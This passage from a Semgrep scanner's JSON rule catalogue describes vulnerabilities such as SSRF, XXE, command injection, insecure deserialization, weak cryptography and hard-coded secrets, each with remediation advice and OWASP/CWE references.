appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2","id":"python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2","name":"python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead."},"help":{"markdown":"Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http","id":"python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http","name":"python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cluster is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecure-skip-tls-verify: true' key to secure communication."},"help":{"markdown":"Cluster is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecure-skip-tls-verify: true' key to secure communication.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster)\n - [https://kubernetes.io/docs/reference/config-api/client-authentication.v1beta1/#client-authentication-k8s-io-v1beta1-Cluster](https://kubernetes.io/docs/reference/config-api/client-authentication.v1beta1/#client-authentication-k8s-io-v1beta1-Cluster)\n","text":"Cluster is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecure-skip-tls-verify: true' key to secure communication."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster","id":"yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster","name":"yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"help":{"markdown":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-spawn-process.dangerous-spawn-process)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-spawn-process.dangerous-spawn-process","id":"python.lang.security.dangerous-spawn-process.dangerous-spawn-process","name":"python.lang.security.dangerous-spawn-process.dangerous-spawn-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-spawn-process.dangerous-spawn-process"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure all Elasticsearch has node-to-node encryption enabled.\t"},"help":{"markdown":"Ensure all Elasticsearch has node-to-node encryption enabled.\t\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure all Elasticsearch has node-to-node encryption enabled.\t"},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled","id":"terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled","name":"terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls","id":"java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls","name":"java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The function base_convert uses 64-bit numbers internally, and does not correctly convert large numbers. It is not suitable for random tokens such as those used for session tokens or CSRF tokens."},"help":{"markdown":"The function base_convert uses 64-bit numbers internally, and does not correctly convert large numbers. It is not suitable for random tokens such as those used for session tokens or CSRF tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.base-convert-loses-precision.base-convert-loses-precision)\n - [https://www.php.net/base_convert](https://www.php.net/base_convert)\n - [https://www.sjoerdlangkemper.nl/2017/03/15/dont-use-base-convert-on-random-tokens/](https://www.sjoerdlangkemper.nl/2017/03/15/dont-use-base-convert-on-random-tokens/)\n","text":"The function base_convert uses 64-bit numbers internally, and does not correctly convert large numbers. It is not suitable for random tokens such as those used for session tokens or CSRF tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.base-convert-loses-precision.base-convert-loses-precision","id":"php.lang.security.base-convert-loses-precision.base-convert-loses-precision","name":"php.lang.security.base-convert-loses-precision.base-convert-loses-precision","properties":{"precision":"very-high","tags":["CWE-190: Integer Overflow or Wraparound","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.base-convert-loses-precision.base-convert-loses-precision"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc4.use-of-rc4)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","id":"java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","name":"java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-rc4.use-of-rc4"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","id":"kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","name":"kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"help":{"markdown":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version","id":"cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version","name":"cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret","id":"javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret","name":"javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ReverseProxy can remove headers added by Director. Consider using ReverseProxy.Rewrite instead of ReverseProxy.Director."},"help":{"markdown":"ReverseProxy can remove headers added by Director. Consider using ReverseProxy.Rewrite instead of ReverseProxy.Director.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.reverseproxy-director.reverseproxy-director)\n - [https://github.com/golang/go/issues/50580](https://github.com/golang/go/issues/50580)\n","text":"ReverseProxy can remove headers added by Director. Consider using ReverseProxy.Rewrite instead of ReverseProxy.Director."},"helpUri":"https://semgrep.dev/r/go.lang.security.reverseproxy-director.reverseproxy-director","id":"go.lang.security.reverseproxy-director.reverseproxy-director","name":"go.lang.security.reverseproxy-director.reverseproxy-director","properties":{"precision":"very-high","tags":["CWE-115: Misinterpretation of Input","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.reverseproxy-director.reverseproxy-director"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The `vm` module enables compiling and running code within V8 Virtual Machine contexts. The `vm` module is not a security mechanism. Do not use it to run untrusted code. If code passed to `vm` functions is controlled by user input it could result in command injection. Do not let user input in `vm` functions."},"help":{"markdown":"The `vm` module enables compiling and running code within V8 Virtual Machine contexts. The `vm` module is not a security mechanism. Do not use it to run untrusted code. If code passed to `vm` functions is controlled by user input it could result in command injection. Do not let user input in `vm` functions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The `vm` module enables compiling and running code within V8 Virtual Machine contexts. The `vm` module is not a security mechanism. Do not use it to run untrusted code. If code passed to `vm` functions is controlled by user input it could result in command injection. Do not let user input in `vm` functions."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection","id":"javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection","name":"javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"certificate verification explicitly disabled, insecure connections possible"},"help":{"markdown":"certificate verification explicitly disabled, insecure connections possible\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"certificate verification explicitly disabled, insecure connections possible"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation","id":"python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation","name":"python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Externally controlled data influences the filename of a dynamically loaded library. This could trigger arbitrary code execution."},"help":{"markdown":"Externally controlled data influences the filename of a dynamically loaded library. This could trigger arbitrary code execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Externally controlled data influences the filename of a dynamically loaded library. This could trigger arbitrary code execution."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path","id":"cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path","name":"cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path","properties":{"precision":"very-high","tags":["CWE-114: Process Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.superagent.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.superagent.hardcoded-basic-token.hardcoded-basic-token","id":"javascript.superagent.hardcoded-basic-token.hardcoded-basic-token","name":"javascript.superagent.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.superagent.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Square Access Token detected"},"help":{"markdown":"Square Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-square-access-token.detected-square-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Square Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-square-access-token.detected-square-access-token","id":"generic.secrets.security.detected-square-access-token.detected-square-access-token","name":"generic.secrets.security.detected-square-access-token.detected-square-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-square-access-token.detected-square-access-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` 